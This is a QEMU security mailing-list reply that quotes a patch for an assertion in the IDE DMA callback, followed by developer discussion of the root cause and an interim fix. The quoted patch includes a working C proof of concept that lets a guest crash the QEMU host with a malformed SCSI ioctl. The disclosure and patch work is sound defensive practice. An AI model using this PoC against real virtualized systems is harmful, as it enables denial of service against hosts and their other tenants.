Re: [QEMU-SECURITY] ide: fix assertion in ide_dma_cb() to prevent qemu DoS from quest

[Michael S. Tsirkin]

On Thu, Jul 25, 2019 at 08:25:03PM -0400, John Snow wrote:
> 
> 
> On 7/5/19 10:07 AM, Alexander Popov wrote:
> > This assertion was introduced in the commit a718978ed58a in July 2015.
> > It implies that the size of successful DMA transfers handled in
> > ide_dma_cb() should be multiple of 512 (the size of a sector).
> > 
> > But guest systems can initiate DMA transfers that don't fit this
> > requirement. Let's improve the assertion to prevent qemu DoS from quests.
> > 
> > PoC for Linux that uses SCSI_IOCTL_SEND_COMMAND to perform such an ATA
> > command and crash qemu:
> > 
> > #include <stdio.h>
> > #include <sys/ioctl.h>
> > #include <stdint.h>
> > #include <sys/types.h>
> > #include <sys/stat.h>
> > #include <fcntl.h>
> > #include <string.h>
> > #include <stdlib.h>
> > #include <scsi/scsi.h>
> > #include <scsi/scsi_ioctl.h>
> > 
> > #define CMD_SIZE 2048
> > 
> > struct scsi_ioctl_cmd_6 {
> >     unsigned int inlen;
> >     unsigned int outlen;
> >     unsigned char cmd[6];
> >     unsigned char data[];
> > };
> > 
> > int main(void)
> > {
> >     intptr_t fd = 0;
> >     struct scsi_ioctl_cmd_6 *cmd = NULL;
> > 
> >     cmd = malloc(CMD_SIZE);
> >     if (!cmd) {
> >             perror("[-] malloc");
> >             return 1;
> >     }
> > 
> >     memset(cmd, 0, CMD_SIZE);
> >     cmd->inlen = 1337;
> >     cmd->cmd[0] = READ_6;
> > 
> >     fd = open("/dev/sg0", O_RDONLY);
> >     if (fd == -1) {
> >             perror("[-] opening sg");
> >             return 1;
> >     }
> > 
> >     printf("[+] sg0 is opened\n");
> > 
> >     printf("[.] qemu should break here:\n");
> >     fflush(stdout);
> >     ioctl(fd, SCSI_IOCTL_SEND_COMMAND, cmd);
> >     printf("[-] qemu didn't break\n");
> > 
> >     free(cmd);
> > 
> >     return 1;
> > }
> > 
> > Signed-off-by: Alexander Popov <address@hidden>
> > ---
> >  hw/ide/core.c | 2 +-
> >  1 file changed, 1 insertion(+), 1 deletion(-)
> > 
> > diff --git a/hw/ide/core.c b/hw/ide/core.c
> > index 6afadf8..304fe69 100644
> > --- a/hw/ide/core.c
> > +++ b/hw/ide/core.c
> > @@ -868,7 +868,7 @@ static void ide_dma_cb(void *opaque, int ret)
> >  
> >      sector_num = ide_get_sector(s);
> >      if (n > 0) {
> > -        assert(n * 512 == s->sg.size);
> > +        assert(n == s->sg.size / 512);
> >          dma_buf_commit(s, s->sg.size);
> >          sector_num += n;
> >          ide_set_sector(s, sector_num);
> > 
> 
> Oh, this is fun.
> 
> So you're actually requesting 131072 bytes (256 sectors) but you're
> giving it far too short of a PRDT.
> 
> But ... the prepare_buf callback got anything at all, so it was happy to
> proceed, but the callback chokes over the idea that the SGlist wasn't
> formatted correctly -- it can't deal with partial tails.
> 
> I think it might be the case that the sglist needs to be allowed to have
> an unaligned tail, and then the second trip to the dma_cb when there
> isn't any more regions in the PRDT to add to the SGList to transfer at
> least a single sector -- but the IDE state machine still has sectors to
> transfer -- we need to trigger the short PRD clause.
> 
> Papering over it by truncating the tail I think isn't sufficient; there
> are other problems this exposes.
> 
> As an emergency patch, it might be better to just do this whenever we
> see partial tails:
> 
> prepared = ...prepare_buf(s->bus->dma, s->io_buffer_size);
> if (prepared % 512) {
>     ide_dma_error(s);
>     return;
> }

Do you want to cook up a patch like this then?


> I think that prepare_buf does not give unaligned results if you provided
> *too many* bytes, so the unaligned return only happens when you starve it.
> 
> I can worry about a proper fix for 4.2+.
> 
> --js